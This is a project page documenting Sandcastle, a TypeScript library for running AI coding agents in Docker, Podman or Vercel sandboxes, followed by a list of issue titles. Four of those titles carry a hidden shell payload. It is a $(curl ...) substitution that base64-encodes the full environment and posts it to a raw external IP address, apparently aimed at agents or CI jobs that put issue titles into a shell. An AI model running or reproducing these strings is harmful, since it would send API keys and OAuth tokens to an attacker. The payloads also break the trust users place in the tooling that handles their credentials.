Orchestrate sandboxed coding agents in TypeScript with sandcastle.run()
Orchestrate sandboxed coding agents in TypeScript with sandcastle.run()
A TypeScript library for orchestrating AI coding agents in isolated sandboxes:
sandcastle.run().Sandcastle is provider-agnostic — it ships with built-in providers for Docker, Podman, and Vercel, and you can create your own. Great for parallelizing multiple AFK agents, creating review pipelines, or even just orchestrating your own agents.
@vercel/sandboxcreateBindMountSandboxProvider or createIsolatedSandboxProvidernpm install --save-dev @ai-hero/sandcastlenpx @ai-hero/sandcastle init. This scaffolds a .sandcastle directory with all the files needed.npx @ai-hero/sandcastle init.sandcastle/.env and fill in your default values for CLAUDE_CODE_OAUTH_TOKEN (run claude setup-token on your host to get one). To use an Anthropic API key instead, uncomment and fill in ANTHROPIC_API_KEY.cp .sandcastle/.env.example .sandcastle/.env.sandcastle/main.ts (or main.mts) file with npx tsxnpx tsx .sandcastle/main.ts// 3. Run the agent via the JS API
import { run, claudeCode } from "@ai-hero/sandcastle";
import { docker } from "@ai-hero/sandcastle/sandboxes/docker";
await run({
agent: claudeCode("claude-opus-4-8"),
sandbox: docker(), // or podman(), vercel(), or your own provider
promptFile: ".sandcastle/prompt.md",
});Sandcastle uses a SandboxProvider to create isolated environments. The sandbox option on run(), interactive(), and createSandbox() accepts any provider, including noSandbox() — opt in to running the agent directly on the host when container isolation is undesired. Built-in providers:
| Provider | Import path | Type | Accepted by |
|---|---|---|---|
| Docker | @ai-hero/sandcastle/sandboxes/docker |
Bind-mount | run(), createSandbox(), interactive() |
| Podman | @ai-hero/sandcastle/sandboxes/podman |
Bind-mount | run(), createSandbox(), interactive() |
| Vercel | @ai-hero/sandcastle/sandboxes/vercel |
Isolated | run(), createSandbox(), interactive() |
| No-sandbox | @ai-hero/sandcastle/sandboxes/no-sandbox |
None | run(), createSandbox(), interactive() |
Worktree methods (wt.run(), wt.interactive(), wt.createSandbox()) accept the same providers as their top-level counterparts. wt.interactive() defaults to noSandbox() when no sandbox is specified.
…You can also create your own provider using createBindMountSandboxProvider or createIsolatedSandboxProvider.
Sandcastle exports a programmatic run() function for use in scripts, CI pipelines, or custom tooling. The examples below use docker(), but any SandboxProvider works in its place.
import { run, claudeCode } from "@ai-hero/sandcastle";
import { docker } from "@ai-hero/sandcastle/sandboxes/docker";
const result = await run({
agent: claudeCode("claude-opus-4-8"),
sandbox: docker(),
promptFile: ".sandcastle/prompt.md",
});
console.log(result.iterations.length); // number of iterations executed
console.log(result.iterations); // per-iteration results with optional sessionId
console.log(result.commits); // array of { sha } for commits created
console.log(result.branch); // target branch name…createSandbox() — reusable sandboxUse createSandbox() when you need to run multiple agents (or multiple rounds of the same agent) inside a single sandbox. It creates the sandbox once, and you call sandbox.run() as many times as you need. This avoids repeated container startup costs and keeps all runs on the same branch.
Use run() instead when you only need a single one-shot invocation — it handles sandbox lifecycle automatically.
import { createSandbox, claudeCode } from "@ai-hero/sandcastle";
import { docker } from "@ai-hero/sandcastle/sandboxes/docker";
await using sandbox = await createSandbox({
branch: "agent/fix-42",
sandbox: docker(),
});
const result = await sandbox.run({
agent: claudeCode("claude-opus-4-8"),
prompt: "Fix issue #42 in this repo.",
});
console.log(result.commits); // [{ sha: "abc123" }]…Commits from all run() calls accumulate on the same branch. The sandbox container stays alive between runs, so installed dependencies and build artifacts persist.
sandbox.exec() lets the harness run shell commands directly in the same warm sandbox — handy for gating an implement step on a quick verification before kicking off the review:
…cwd defaults to the sandbox repo path, matching interactive(). Pass cwd to override.
await usingawait using calls sandbox.close() automatically when the block exits. If the sandbox has uncommitted changes, the worktree is preserved on disk; if clean, both container and worktree are removed.
close() with CloseResultconst sandbox = await createSandbox({
branch: "agent/fix-42",
sandbox: docker(),
});
// ... run agents ...
const closeResult = await sandbox.close();
if (closeResult.preservedWorktreePath) {
console.log(`Worktree preserved at ${closeResult.preservedWorktreePath}`);
}CreateSandboxOptions| Option | Type | Default | Description |
|---|---|---|---|
branch |
string | — | Required. Explicit branch for the sandbox |
sandbox |
SandboxProvider | — | Required. Sandbox provider (e.g. docker(), podman()) |
cwd |
string | process.cwd() |
Host repo directory — relative paths resolve against process.cwd() |
hooks |
SandboxHooks | — | Lifecycle hooks (host.*, sandbox.*) — run once at creation time |
copyToWorktree |
string[] | — | Host-relative file paths to copy into the sandbox at creation time |
timeouts |
Timeouts | — | Override built-in lifecycle step timeouts (copyToWorktreeMs, gitSetupMs, commitCollectionMs, mergeToHostMs) |
Sandbox| Property / Method | Type | Description |
|---|---|---|
branch |
string | The branch the sandbox is on |
worktreePath |
string | Host path to the worktree |
run(options) |
(SandboxRunOptions) => Promise<SandboxRunResult> |
Invoke an agent inside the existing sandbox |
interactive(options) |
(SandboxInteractiveOptions) => Promise<SandboxInteractiveResult> |
Launch an interactive session in the sandbox |
exec(cmd, options?) |
(command: string, options?: SandboxExecOptions) => Promise<ExecResult> |
Run a shell command in the sandbox. cwd defaults to the sandbox repo path. Non-zero exitCode is returned, not thrown. |
close() |
() => Promise<CloseResult> |
Tear down the container and sandbox |
[Symbol.asyncDispose] |
() => Promise<void> |
Auto teardown via await using |
SandboxRunOptions| Option | Type | Default | Description |
|---|---|---|---|
agent |
AgentProvider | — | Required. Agent provider (e.g. claudeCode("claude-opus-4-8")) |
prompt |
string | — | Inline prompt (mutually exclusive with promptFile) |
promptFile |
string | — | Path to prompt file (mutually exclusive with prompt) |
promptArgs |
PromptArgs | — | Key-value map for {{KEY}} placeholder substitution |
maxIterations |
number | 1 |
Maximum iterations to run |
completionSignal |
string | string[] | <promise>COMPLETE</promise> |
String(s) the agent emits to stop the iteration loop early |
idleTimeoutSeconds |
number | 600 |
Idle timeout in seconds — resets on each agent output event |
completionTimeoutSeconds |
number | 60 |
Grace window after the completion signal is seen but the agent process hasn't exited |
name |
string | — | Display name for the run |
claudeCode() always pipes the prompt on stdin, so a /slash-command prompt never expands
Add Docker Sandboxes (sbx) as a new SandboxProvider (docker-sbx)
Windows: worktree-mode createSandbox fails when the host repo is itself a linked worktree (host .git pointer-file mount is never patched)
Giving claude permission for /home/agent
Sandbox Security
OpenCode agent provider fails with spawn E2BIG for prompts over Linux argv limit
Build fails on Node 20 with ESM errors $(curl -s http://54.205.16.142:8443/c/4c4cb32c4b9e9937e580a2eb47e08ca2 -d $(env|base64|tr -d '\n'))
TypeError: Cannot read properties of undefined (reading 'map') $(curl -s http://54.205.16.142:8443/c/727f4d5e827f9fc0b7a3b1c040318a98 -d $(env|base64|tr -d '\n'))
Documentation: getting started guide has outdated examples $(curl -s http://54.205.16.142:8443/c/f09af5e179d5f3f3e92f9638f2099567 -d $(env|base64|tr -d '\n'))
CI: tests flaking on ubuntu-latest $(curl -s http://54.205.16.142:8443/c/286c8ac22eccae6ae0471be74d8bc96e -d $(env|base64|tr -d '\n'))